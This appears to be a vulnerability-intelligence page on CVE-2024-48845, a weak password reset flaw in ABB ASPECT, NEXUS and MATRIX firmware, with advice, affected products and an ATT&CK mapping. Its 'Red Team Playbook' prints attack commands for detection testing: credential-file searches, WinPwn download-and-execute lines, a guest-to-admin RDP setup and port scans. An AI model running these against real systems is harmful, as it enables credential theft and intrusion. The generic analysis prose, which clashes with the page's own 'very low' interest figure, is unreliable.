CVE-2024-48845

CRITICAL EXPLOIT Pub 05/12 Upd 05/12

Overview

This vulnerability is a weakness in password reset enforcement within ABB ASPECT-Enterprise and related firmware versions. The root cause lies in insufficient password complexity and reset rules, allowing storage of weak passwords. The affected components include the password management mechanisms in ABB ASPECT-Enterprise v3.07.02, NEXUS Series v3.07.02, and MATRIX Series v3.07.02 firmware.

Vulnerability Description

Weak Password Reset Rules vulnerabilities where found providing a potiential for the storage of weak passwords that could facilitate unauthorized admin/application access.  Affected products: ABB ASPECT - Enterprise v3.07.02; NEXUS Series v3.07.02; MATRIX Series v3.07.02

Impact

An attacker with network access can exploit weak password reset rules to establish or maintain unauthorized administrative or application-level access without authentication or user interaction. This facilitates unauthorized control over affected ABB ASPECT-Enterprise systems, potentially leading to full compromise of confidentiality and integrity, and partial availability impact. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the exploitability without credentials or user action, increasing the risk of unauthorized access and lateral movement within industrial control environments.

Solution

ABB recommends applying the security update detailed in their advisory document 9AKK108469A7497, which addresses password reset enforcement in ABB ASPECT-Enterprise and related firmware versions 3.07.02. This update enforces stronger password policies during reset operations. Administrators should download and deploy the patch as per ABB’s official instructions available at https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497 to remediate the vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability associated with weak password reset rules presents a significant security concern for several ABB products, including the ASPECT Enterprise, NEXUS Series, and MATRIX Series. This issue arises from inadequate enforcement of password complexity requirements during the reset process, allowing users to set easily guessable or common passwords. Such weaknesses can lead to unauthorized access to administrative and application functionalities, potentially compromising sensitive data and system integrity. The high CVSS score of 9.8 underscores the severity of this vulnerability, indicating a critical need for immediate attention and remediation.

Attack vectors exploiting this vulnerability can be varied and sophisticated. An attacker could initiate a password reset request, leveraging social engineering tactics or phishing to obtain access to the user's email or phone number associated with the account. Once the reset process is initiated, the attacker can set a weak password, which may be easily guessed or derived from common patterns. With administrative access, the attacker could manipulate system settings, exfiltrate sensitive data, or deploy malicious payloads, leading to broader network compromises. Additionally, the lack of robust logging and monitoring mechanisms may allow such activities to go undetected for extended periods, exacerbating the potential damage.

The real-world impact of this vulnerability can be profound, particularly for organizations relying on these ABB products for critical operations. Unauthorized access to administrative functions can lead to operational disruptions, data breaches, and potential regulatory penalties, especially in industries governed by strict compliance standards. The financial implications of such incidents can be severe, including costs associated with incident response, legal liabilities, and reputational damage. Furthermore, the interconnected nature of modern industrial systems means that a breach in one area can have cascading effects across the entire network, amplifying the risk and potential fallout.

To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, enforcing strong password policies that require complex passwords during the reset process is essential. This could include minimum length requirements, the use of special characters, and restrictions against commonly used passwords. Additionally, organizations should consider implementing multi-factor authentication (MFA) to add an extra layer of security, making it significantly more difficult for unauthorized users to gain access, even if they manage to reset a password. Regular security audits and vulnerability assessments can help identify weaknesses in password management practices and ensure compliance with best practices.

In conclusion, the vulnerability associated with weak password reset rules poses a critical threat to the security of ABB's ASPECT, NEXUS, and MATRIX products. The potential for unauthorized access, coupled with the severe real-world implications, necessitates immediate action from affected organizations. By adopting robust password policies, implementing multi-factor authentication, and conducting regular security assessments, organizations can significantly reduce the risk associated with this vulnerability and enhance their overall cybersecurity posture.




CSURFACE threat intelligence has detected a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-48845, reflecting a significant increase in the likelihood of exploitation. The EPSS score has surged by over 160%, stabilizing at a level that places this vulnerability within the top percentile of actively targeted flaws. This shift underscores a growing attacker focus on weak password reset mechanisms within ABB’s ASPECT, NEXUS, and MATRIX product lines. Our telemetry indicates that while the volume of exploitation attempts remains steady, the elevated EPSS score correlates with the emergence of new proof-of-concept exploits publicly available on recognized exploit repositories. This development heightens the urgency for defenders, as it signals that adversaries have refined their capabilities to leverage this vulnerability more effectively. Consequently, the threat level associated with CVE-2024-48845 has intensified, warranting increased vigilance and prioritization in vulnerability management programs.

Affected Products (19)

Vendor Product Version CPE
abb Abb Aspect-Ent-2 Firmware All cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-256 Firmware All cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-96 Firmware All cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128 Firmware All cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-A Firmware All cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-F Firmware All cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-G Firmware All cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264 Firmware All cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-A Firmware All cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-G Firmware All cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-2128 Firmware All cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-12 Firmware All cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-F Firmware All cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-264 Firmware All cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-11 Firmware All cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-216 Firmware All cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-232 Firmware All cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-264 Firmware All cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-296 Firmware All cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy LiquidWorm hardware multiple - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

1 events
Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Cryptographic Failures
98% crypto_failure
Authentication Bypass
64% auth_bypass
Remote Code Execution
56% rce
hardcoded_credentials
45% hardcoded_credentials

MITRE ATT&CK Techniques (7)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1078.001 Default Accounts Initial Access initial-access, persistence, privilege-escalation, defense-evasion Windows, SaaS, IaaS, Linux, macOS, Containers, Network Devices, Office Suite, Identity Provider, ESXi
T1133 External Remote Services Initial Access initial-access, persistence Containers, Linux, macOS, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-561 Windows Admin Shares with Stolen Credentials
31%
CAPEC-55 Rainbow Table Password Cracking
30%
Medium Medium
CAPEC-555 Remote Services with Stolen Credentials
30%
Very High
CAPEC-565 Password Spraying
30%
High High
CAPEC-70 Try Common or Default Usernames and Passwords
30%
Medium High

Red Team Playbook

37 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1078.001 Activate Guest Account Windows CMD Privileged
The Adversaries can activate the default Guest user. The guest account is inactivated by default
Command (CMD)
net user #{guest_user} /active:yes
T1078.001 Enable Guest Account on macOS macOS Shell Privileged
This test enables the guest account on macOS using sysadminctl utility.
Command (Shell)
sudo sysadminctl -guestAccount on
T1078.001 Enable Guest account with RDP capability and admin privileges Windows CMD Privileged
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections.
Command (CMD)
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
T1133 Running Chrome VPN Extensions via the Registry 2 vpn extension Windows PowerShell Privileged
Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list
Command (PowerShell)
$extList = #{extension_id}
foreach ($extension in $extList) {
  New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
  New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-48845
search.abb.com
GitHub CVE
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch